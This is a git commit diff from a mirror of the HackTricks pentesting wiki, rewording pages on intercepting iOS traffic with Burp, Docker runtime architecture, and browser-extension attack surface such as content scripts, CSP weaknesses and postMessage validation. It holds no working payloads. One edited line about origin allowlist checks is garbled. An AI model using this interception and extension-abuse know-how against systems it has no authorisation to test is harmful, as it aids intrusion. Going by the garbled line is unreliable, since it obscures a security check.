mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
a
This commit is contained in:
parent
797ab87ac5
commit
77e7b548a3
35 changed files with 1173 additions and 1653 deletions
1
.github/FUNDING.yml
vendored
1
.github/FUNDING.yml
vendored
|
@ -1,2 +1 @@
|
|||
github: carlospolop
|
||||
custom: https://www.buymeacoffee.com/carlospolop
|
||||
|
|
|
@ -537,7 +537,6 @@
|
|||
## 🕸 Pentesting Web
|
||||
|
||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
* [Browser Extensions](pentesting-web/web-vulnerabilities-methodology/browser-extensions.md)
|
||||
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -111,7 +111,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -51,7 +51,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -30,7 +30,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -412,7 +412,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -170,7 +170,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -22,73 +22,51 @@ Get Access Today:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Burp Cert Installation in physical iOS
|
||||
## Installing the Burp Certificate on iOS Devices
|
||||
|
||||
You can install [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) **for help installing the Burp Certificate, configure the proxy and perform SSL Pinning.**\
|
||||
Or you can manually follow the next steps:
|
||||
For secure web traffic analysis and SSL pinning on iOS devices, the Burp Suite can be utilized either through the **Burp Mobile Assistant** or via manual configuration. Below is a summarized guide on both methods:
|
||||
|
||||
* Configure **Burp** as the iPhone **proxy in \_Settings**_\*\* --> \*\*_**Wifi**_\*\* --> \*\*_**Click the network**_\*\* --> \*\*_**Proxy**\_
|
||||
* Access `http://burp` and download the certificate
|
||||
* Access _**Setting**_ --> _**General**_ --> _**VPN & Device Management**_ --> Select Downloaded profile and Install it (you will be asked your code)
|
||||
* Access _**Settings**_ --> _**General**_ --> _**About**_ --> _**Certificate Trust Settings**_ and enable PortSwigger CA
|
||||
### Automated Installation with Burp Mobile Assistant
|
||||
The **Burp Mobile Assistant** simplifies the installation process of the Burp Certificate, proxy configuration, and SSL Pinning. Detailed guidance can be found on [PortSwigger's official documentation](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing).
|
||||
|
||||
### Setting up an Interception Proxy via localhost
|
||||
### Manual Installation Steps
|
||||
1. **Proxy Configuration:** Start by setting Burp as the proxy under the iPhone's Wi-Fi settings.
|
||||
2. **Certificate Download:** Navigate to `http://burp` on your device's browser to download the certificate.
|
||||
3. **Certificate Installation:** Install the downloaded profile via **Settings** > **General** > **VPN & Device Management**, then enable trust for the PortSwigger CA under **Certificate Trust Settings**.
|
||||
|
||||
Setting up Burp to proxy your traffic is pretty straightforward. We assume that both your iOS device and host computer are connected to a Wi-Fi network that permits client-to-client traffic. If client-to-client traffic is not permitted, you can use usbmuxd to connect to Burp via USB.
|
||||
### Configuring an Interception Proxy
|
||||
The setup enables traffic analysis between the iOS device and the internet through Burp, requiring a Wi-Fi network that supports client-to-client traffic. If unavailable, a USB connection via usbmuxd can serve as an alternative. PortSwigger's tutorials provide in-depth instructions on [device configuration](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) and [certificate installation](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
|
||||
PortSwigger provides a good [tutorial on setting up an iOS device to work with Burp](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) and a [tutorial on installing Burp's CA certificate to an iOS device](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
### Advanced Configuration for Jailbroken Devices
|
||||
For users with jailbroken devices, SSH over USB (via **iproxy**) offers a method to route traffic directly through Burp:
|
||||
|
||||
#### Using Burp via USB on a Jailbroken Device
|
||||
1. **Establish SSH Connection:** Use iproxy to forward SSH to localhost, allowing connection from the iOS device to the computer running Burp.
|
||||
```bash
|
||||
iproxy 2222 22
|
||||
```
|
||||
2. **Remote Port Forwarding:** Forward the iOS device's port 8080 to the computer's localhost to enable direct access to Burp's interface.
|
||||
```bash
|
||||
ssh -R 8080:localhost:8080 root@localhost -p 2222
|
||||
```
|
||||
3. **Global Proxy Setting:** Lastly, configure the iOS device's Wi-Fi settings to use a manual proxy, directing all web traffic through Burp.
|
||||
|
||||
When doing dynamic analysis, it's interesting to use the SSH connection to route our traffic to Burp that is running on our computer. Let's get started:
|
||||
|
||||
First we need to use **iproxy** to make SSH from iOS available on localhost.
|
||||
|
||||
```bash
|
||||
$ iproxy 2222 22
|
||||
waiting for connection
|
||||
```
|
||||
|
||||
The next step is to make a remote port forwarding of port 8080 on the iOS device to the localhost interface on our computer to port 8080.
|
||||
|
||||
```bash
|
||||
ssh -R 8080:localhost:8080 root@localhost -p 2222
|
||||
```
|
||||
|
||||
You should now be able to reach Burp on your iOS device. Open Safari on iOS and go to **127.0.0.1:8080** and you should see the Burp Suite Page. This would also be a good time to [install the CA certificate](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) of Burp on your iOS device.
|
||||
|
||||
The last step would be to set the proxy globally on your iOS device:
|
||||
|
||||
1. Go to **Settings** -> **Wi-Fi**
|
||||
2. Connect to _any_ Wi-Fi (you can literally connect to any Wi-Fi as the traffic for port 80 and 443 will be routed through USB, as we are just using the Proxy Setting for the Wi-Fi so we can set a global Proxy)
|
||||
3. Once connected click on the small blue icon on the right side of the connect Wi-Fi
|
||||
4. Configure your Proxy by selecting **Manual**
|
||||
5. Type in 127.0.0.1 as **Server**
|
||||
6. Type in 8080 as **Port**
|
||||
|
||||
### Full Network Monitoring/Sniffing
|
||||
|
||||
If you need to **monitor something different from HTTP communications** you can sniff all the device traffic with **wireshark**.\
|
||||
You can remotely sniff all traffic in real-time on iOS by [creating a Remote Virtual Interface](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) for your iOS device. First make sure you have **Wireshark** **installed** on your macOS host computer.
|
||||
Monitoring of non-HTTP device traffic can be efficiently conducted using **Wireshark**, a tool capable of capturing all forms of data traffic. For iOS devices, real-time traffic monitoring is facilitated through the creation of a Remote Virtual Interface, a process detailed in [this Stack Overflow post](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Prior to beginning, installation of **Wireshark** on a macOS system is a prerequisite.
|
||||
|
||||
1. **Connect** your iOS device to your macOS host computer via USB.
|
||||
2. You would need to know the **UDID of your iOS device**, before you can start sniffing. Open the Terminal on macOS and enter the following command, filling in the UDID of your iOS device.
|
||||
The procedure involves several key steps:
|
||||
|
||||
1. Initiate a connection between the iOS device and the macOS host via USB.
|
||||
2. Ascertain the iOS device's **UDID**, a necessary step for traffic monitoring. This can be done by executing a command in the macOS Terminal:
|
||||
|
||||
```bash
|
||||
$ rvictl -s <UDID>
|
||||
Starting device <UDID> [SUCCEEDED] with interface rvi0
|
||||
```
|
||||
|
||||
1. Launch **Wireshark** and select "**rvi0**" as the capture interface.
|
||||
2. Filter the traffic with Capture Filters in Wireshark to display what you want to monitor (for example, all HTTP traffic sent/received via the IP address 192.168.1.1).
|
||||
|
||||
```
|
||||
ip.addr == 192.168.1.1 && http
|
||||
```
|
||||
|
||||
![](<../../.gitbook/assets/image (472).png>)
|
||||
|
||||
The documentation of Wireshark offers many examples for [Capture Filters](https://wiki.wireshark.org/CaptureFilters) that should help you to filter the traffic to get the information you want.
|
||||
3. Post-identification of the UDID, **Wireshark** is to be opened, and the "rvi0" interface selected for data capture.
|
||||
4. For targeted monitoring, such as capturing HTTP traffic related to a specific IP address, Wireshark's Capture Filters can be employed:
|
||||
|
||||
## Burp Cert Installation in Simulator
|
||||
|
||||
|
|
|
@ -22,15 +22,11 @@ The Docker Platform is the industry-leading container platform for continuous, h
|
|||
|
||||
### Basic docker architecture
|
||||
|
||||
This info is from [here](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc).
|
||||
|
||||
* [containerd](http://containerd.io) is a container runtime which can m**anage a complete container lifecycle - from image transfer/storage to container execution**, supervision and networking. **More information about containerd below.**
|
||||
* container-shim handle headless containers, meaning once runc initializes the containers, it exits handing the containers over to the container-shim which acts as some middleman.
|
||||
* [runc](http://runc.io) is lightweight universal run time container, which abides by the OCI specification. **runc is used by containerd for spawning and running containers according to OCI spec**. It is also the repackaging of libcontainer.
|
||||
* [grpc](http://www.grpc.io) used for communication between containerd and docker-engine.
|
||||
* [OCI](https://www.opencontainers.org) maintains the OCI specification for runtime and images. The current docker versions support OCI image and runtime specs.
|
||||
|
||||
![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
|
||||
* **[containerd](http://containerd.io)** is a runtime for containers that is capable of **managing the entire lifecycle of a container, including the transfer and storage of images, as well as the execution, supervision, and networking of the container**. **Further details about containerd are provided below**.
|
||||
* The handling of headless containers is facilitated by container-shim, which serves as an intermediary. Specifically, after the initialization of the containers by runc, control is passed to the container-shim.
|
||||
* **[runc](http://runc.io)** is recognized as a lightweight, universal container runtime that complies with the OCI specification. It is utilized by containerd to initiate and manage containers in accordance with the OCI specifications and represents a rebranded version of libcontainer.
|
||||
* For the purpose of facilitating communication between containerd and the docker-engine, **[grpc](http://www.grpc.io)** is employed.
|
||||
* The OCI specification for runtime and images is maintained by **[OCI](https://www.opencontainers.org)**, with current docker versions being compliant with both the OCI image and runtime specifications.
|
||||
|
||||
### Basic commands
|
||||
|
||||
|
@ -348,6 +344,7 @@ You can use auditd to monitor docker.
|
|||
|
||||
# References
|
||||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -121,18 +121,16 @@ chrome.storage.local.get("message", result =>
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
When this button is clicked the content script **uses** [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) **to send a message to the extension pages**. That’s because a content script only has direct access to a handful of APIs such as `storage`. Everything else has to be done by extension pages that content scripts can send messages to.
|
||||
A message is sent to the extension pages by the content script when this button is clicked, through the utilization of the [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). This is due to the content script's limitation in direct access to APIs, with `storage` being among the few exceptions. For functionalities beyond these exceptions, messages are sent to extension pages which content scripts can communicate with.
|
||||
|
||||
{% hint style="warning" %}
|
||||
The **content script capabilities** differ slightly depending on browser. For Chromium-based browsers you can find the list in the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), for Firefox [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) is the ultimate source.\
|
||||
Remember that the Content Script can also **communicate with the background scripts** so they perform actions and send back the response
|
||||
Depending on the browser, the capabilities of the content script may vary slightly. For Chromium-based browsers, the capabilities list is available in the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), and for Firefox, the [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serves as the primary source.\
|
||||
It is also noteworthy that content scripts have the ability to communicate with background scripts, enabling them to perform actions and relay responses back.
|
||||
{% endhint %}
|
||||
|
||||
To view and debug content scripts in Chrome, you can open the Chrome developer tools menu from Options > More tools > Developer tools OR (Press - Ctrl + Shift + I).
|
||||
For viewing and debugging content scripts in Chrome, the Chrome developer tools menu can be accessed from Options > More tools > Developer tools OR by pressing Ctrl + Shift + I.
|
||||
|
||||
With developer tools displayed, click the **Source tab**, then click the **Content Scripts** tab. Here you can see the running content scripts of the various extensions and set breakpoints to monitor the flow of execution.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Upon the developer tools being displayed, the **Source tab** is to be clicked, followed by the **Content Scripts** tab. This allows for the observation of running content scripts from various extensions and the setting of breakpoints to track the execution flow.
|
||||
|
||||
### Injected content scripts
|
||||
|
||||
|
@ -140,7 +138,7 @@ With developer tools displayed, click the **Source tab**, then click the **Conte
|
|||
Note that **Content Scripts aren't mandatory** as it's also possible to **dynamically** **inject** scripts and to **programatically inject them** in web pages via **`tabs.executeScript`**. This actually provides more **granular controls**.
|
||||
{% endhint %}
|
||||
|
||||
To inject a content script programmatically, your extension needs [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) for the page it's trying to inject scripts into. Host permissions can either be granted by **requesting them** as part of your extension's manifest or temporarily via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)**.**
|
||||
For the programmatic injection of a content script, the extension is required to have [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) for the page into which the scripts are to be injected. These permissions may be secured either by **requesting them** within the manifest of the extension or on a temporary basis through [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
|
||||
#### Example activeTab-based extension
|
||||
|
||||
|
@ -200,12 +198,12 @@ chrome.action.onClicked.addListener((tab) => {
|
|||
// service-workser.js
|
||||
chrome.scripting.registerContentScripts([{
|
||||
id : "test",
|
||||
matches : [ "https://*.nytimes.com/*" ],
|
||||
matches : [ "https://*.example.com/*" ],
|
||||
excludeMatches : [ "*://*/*business*" ],
|
||||
js : [ "contentScript.js" ],
|
||||
}]);
|
||||
|
||||
// ANother example
|
||||
// Another example
|
||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" });
|
||||
```
|
||||
|
||||
|
@ -229,7 +227,7 @@ The possible values are:
|
|||
...
|
||||
"content_scripts": [
|
||||
{
|
||||
"matches": ["https://*.nytimes.com/*"],
|
||||
"matches": ["https://*.example.com/*"],
|
||||
"run_at": "document_idle",
|
||||
"js": ["contentScript.js"]
|
||||
}
|
||||
|
@ -244,7 +242,7 @@ Via **`service-worker.js`**
|
|||
```javascript
|
||||
chrome.scripting.registerContentScripts([{
|
||||
id : "test",
|
||||
matches : [ "https://*.nytimes.com/*" ],
|
||||
matches : [ "https://*.example.com/*" ],
|
||||
runAt : "document_idle",
|
||||
js : [ "contentScript.js" ],
|
||||
}]);
|
||||
|
@ -252,10 +250,16 @@ chrome.scripting.registerContentScripts([{
|
|||
|
||||
### `background`
|
||||
|
||||
When content scripts send a message its destination is the **background page**. The background page is a special page that is **always present** unless specified otherwise in the extension manifest. It is invisible to the user, despite being a regular page with its own DOM and everything. Its function is typically coordinating all other parts of the extension.
|
||||
Messages sent by content scripts are received by the **background page**, which serves a central role in coordinating the extension's components. Notably, the background page persists across the extension's lifetime, operating discreetly without direct user interaction. It possesses its own Document Object Model (DOM), enabling complex interactions and state management.
|
||||
|
||||
**Key Points**:
|
||||
|
||||
- **Background Page Role:** Acts as the nerve center for the extension, ensuring communication and coordination among various parts of the extension.
|
||||
- **Persistence:** It's an ever-present entity, invisible to the user but integral to the extension's functionality.
|
||||
- **Automatic Generation:** If not explicitly defined, the browser will automatically create a background page. This auto-generated page will include all the background scripts specified in the extension's manifest, ensuring the seamless operation of the extension's background tasks.
|
||||
|
||||
{% hint style="success" %}
|
||||
If a background page isn’t declared explicitly, the browser will helpfully **generate one** automatically and make sure all the **declared background scripts are loaded** into it, like in the previous manifest.json example.
|
||||
The convenience provided by the browser in automatically generating a background page (when not explicitly declared) ensures that all necessary background scripts are integrated and operational, streamlining the extension's setup process.
|
||||
{% endhint %}
|
||||
|
||||
Example background script:
|
||||
|
@ -286,11 +290,10 @@ Browser extensions can contain various kinds of pages:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Unlike the background page, these pages aren’t persistent but rather load when needed. Yet all of them can **receive messages from content scripts**. And all of them have **full access to extension-specific APIs**, as far as the extension’s permissions allow.
|
||||
Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page:
|
||||
|
||||
Altogether the relevant contexts for browser extensions look like this:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension.
|
||||
- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension.
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
|
@ -306,7 +309,7 @@ Check how these settings work and how thye could get abused in:
|
|||
|
||||
### `content_security_policy`
|
||||
|
||||
A c**ontent security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**.
|
||||
A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**.
|
||||
|
||||
The default setting for browser extension pages is rather restrictive:
|
||||
|
||||
|
@ -390,7 +393,7 @@ Therefore, this is a **very powerful bypass**.
|
|||
|
||||
## Web **↔︎** Content Script Communication
|
||||
|
||||
Although the execution environments of **content scripts and the pages** that host them are **isolated** from each other, they **share access to the page's DOM**. If the page wishes to communicate with the content script, or with the extension via the content script, it must do so through the **shared DOM**.
|
||||
The environments where **content scripts** operate and where the host pages exist are **separated** from one another, ensuring **isolation**. Despite this isolation, both have the ability to interact with the page's **Document Object Model (DOM)**, a shared resource. For the host page to engage in communication with the **content script**, or indirectly with the extension through the content script, it is required to utilize the **DOM** that is accessible by both parties as the communication channel.
|
||||
|
||||
### Post Messages
|
||||
|
||||
|
@ -425,7 +428,7 @@ A secure Post Message communication should check the authenticity of the receive
|
|||
|
||||
* **`event.isTrusted`**: This is True only if the event was triggered by a users action
|
||||
* The content script might expecting a message only if the user performs some action
|
||||
* **origin domain**: It can be checked against an allowlist of domains.
|
||||
* **origin domain**: might expecting a message only allowlist of domains.
|
||||
* If a regex is used, be very careful
|
||||
* **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening.
|
||||
|
||||
|
@ -477,9 +480,10 @@ Sending a request from a **content script** looks like this:
|
|||
})();
|
||||
```
|
||||
|
||||
Sending a request from the **extension** (usually a **background script**) to a content script is similar, except that you need to specify which tab to send it to. This example demonstrates sending a message to the content script in the selected tab.
|
||||
